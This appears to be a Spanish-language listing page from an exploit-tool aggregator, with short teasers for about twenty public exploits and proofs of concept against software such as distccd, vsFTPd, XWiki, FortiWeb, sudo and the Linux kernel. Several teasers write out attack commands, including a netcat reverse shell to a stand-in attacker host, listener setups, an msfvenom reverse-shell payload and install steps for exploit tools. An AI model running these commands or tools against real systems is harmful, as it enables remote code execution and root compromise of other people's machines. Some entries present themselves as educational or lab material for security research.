distccd_rce_CVE-2004-2687

El objetivo de este script no es usar Metasploit, sino hacerlo manualmente. Uso: root@kitploit: nc -lvnp 4466 Ejecutando el exploit: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

nfsen-exploit

nfsen-exploit Exploit para CVE-2017-6971: ejecución remota de comandos en nfsen 1.3.7. Probado en Ubuntu, probablemente funciona en todo Vulnerabilidad descubierta por Paul Taylor/Foregenix Ltd Uso: python exploit.py Esto genera un shell de nivel root en la máquina remota...

samba-trans2open-exploit-report

Informe de Explotación Samba Trans2Open Este repositorio contiene un recorrido técnico completo de la explotación de la vulnerabilidad Samba Trans2Open CVE-2003-0201 en un entorno Linux virtual. La explotación se realizó con fines educativos y de formación en hacking ético. Contenido del Informe...

CVE-2025-56383

Vulnerabilidad root@kitploit: Tipo de ataque: DLL Hijacking secuestro de DLL Aplicación objetivo: Notepad++ Método: El archivo NppExport.dll es cargado por Notepad++ desde el directorio de trabajo Implementación La DLL maliciosa contiene: root@kitploit: Funciones exportadas de la biblioteca...

paint2die

Exploit más simple y fiable de RichFaces Paint2DResource CVE-2018-12533 RF-14310 Instalación • Uso • Ejecutar Paint2Die Instrucciones de instalación root@kitploit: git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt Uso...

CVE-2025-24893-PoC

CVE-2025-24893-PoC Exploit de RCE no autenticado en XWiki Versiones de XWiki afectadas Versiones 15.10.11 Versiones 16.4.1 Versiones 16.5.0RC1 Descripción de la vulnerabilidad Las versiones afectadas de XWiki contienen una vulnerabilidad de Ejecución Remota de Código causada por el manejo insegur...

CVE-2025-25257

CVE-2025-25257 Los exploits para CVE-2025-25257 publicados por watchtowr y otros que encontré en github no funcionaron en mis instalaciones de fortiweb descargadas desde el sitio web oficial del proveedor. Reutilicé algunos de estos códigos de exploit para hacer un PoC capaz de obtener una revers...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit PoC de RCE no autenticada para XWiki SolrSearch CVE-2025-24893. Ejecución de comandos + shell inversa. CVE-2025-24893 – XWiki SolrSearch RCE PoC Prueba de concepto para la inyección de plantillas SolrSearch de XWiki que permite la ejecución remota de código sin autenticació...

vsFTP-2.3.4-Remote-Root-Shell-Exploit

vsFTP 2.3.4 Exploit de Shell Root Remota Un programa simple en Python que obtiene una Shell Root Remota en el Dispositivo Objetivo explotando una Vulnerabilidad CVE-2011-2523 presente en vsFTP 2.3.4 Requisitos Lenguaje usado = Python3 Módulos/Paquetes usados: socket os pexpect paramiko getpass...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell Reverse shell para CVE-2024-28397. El exploit funciona para js2py = v0.74 Requisitos Librería requests pip install requests Python3 Netcat O algo que puedas usar como listener para la reverse shell Uso Para el listener root@kitploit: nc -lnvp 4444 Para el exploit...

CVE-2019-0708-POC

CVE-2019-0708-POC Prueba de concepto funcional para CVE-2019-0708, genera una shell remota. Ejecutar con python3, Ejemplo python3 CVE-2019-0708-windows.py Se requieren diferentes versiones para Linux y Windows. Ofuscado por razones obvias...

LFI-Destruction

🔥 LFI-Destruction – Framework de Pruebas de Penetración Autorizadas LFI-Destroyer es un framework completo y modular de explotación de Inclusión Local de Archivos LFI diseñado para profesionales de seguridad autorizados. Combina múltiples técnicas de ataque en una sola herramienta fácil de usar:...

CVE-2023-26360-RCE

CVE-2023-26360 - Ejecución Remota de Código en ColdFusion 2021 A veces, los scripts no funcionan en el primer intento. Inténtalo varias veces para que funcione. Cómo ejecutar Crear un payload con msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java...

CVE-2025-32463_POC

CVE-2025-32463 – PoC de sudo chroot «chwoot» Este repositorio proporciona un entorno mínimo y reproducible para demostrar el fallo de escalada de privilegios CVE‑2025‑32463 en la función chroot de sudo. Contenido Archivo| Propósito ---|--- Dockerfile| Crea una imagen de Ubuntu 24.04 con sudo...

CVE-2025-14700-poc

PoC de CVE-2025-14700 Exploit automático para RCE autenticado en Crafty Controller --login --password --lhost --lport Este script utiliza netcat para configurar un listener después de activar la carga útil de reverse shell, no funcionará si no tienes netcat en tu máquina listener...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 Script de explotación 🔥 Introducción Este repositorio contiene un script de explotación para la vulnerabilidad React2Shell CVE-2025–55182, que ataca un tipo específico de Node.js Prototype Pollution que conduce a la ejecución remota de código RCE. El script está...

CVE-2024-5084-Red-Team

🚀 HashForm Exploit – Demo de Laboratorio Este repositorio contiene un exploit de prueba de concepto para CVE-2024-5084, una vulnerabilidad encontrada en el plugin Hash Form de WordPress. Está destinado únicamente para aprendizaje, pruebas en laboratorio e investigación de seguridad. 📌 Acerca de l...

CVE-2023-30258-magnus-billing-v7-exploit

Exploit del Sistema Magnus Billing v7 Este script de Python automatiza la explotación de una vulnerabilidad de inyección de comandos en Magnus Billing System v7, específicamente en el script icepay.php ubicado en /mbilling/lib/icepay/icepay.php. El exploit aprovecha el parámetro democ para ejecut...

Dirtypipe-exploit

Dirtypipe-exploit Dirty Pipe CVE-2022-0847 PoC que secuestra un binario SUID para generar. un shell root. y también intenta restaurar el binario dañado...

cve-2016-0728-testbed

Banco de pruebas CVE-2016-0728 Este repositorio contiene un programa de prueba para CVE-2016-0728, un fallo de fuga de contador de referencias refcount leak y desbordamiento en Linux que conduce a un use-after-free. El fallo fue encontrado y explicado por Perception Point. No estoy afiliado a...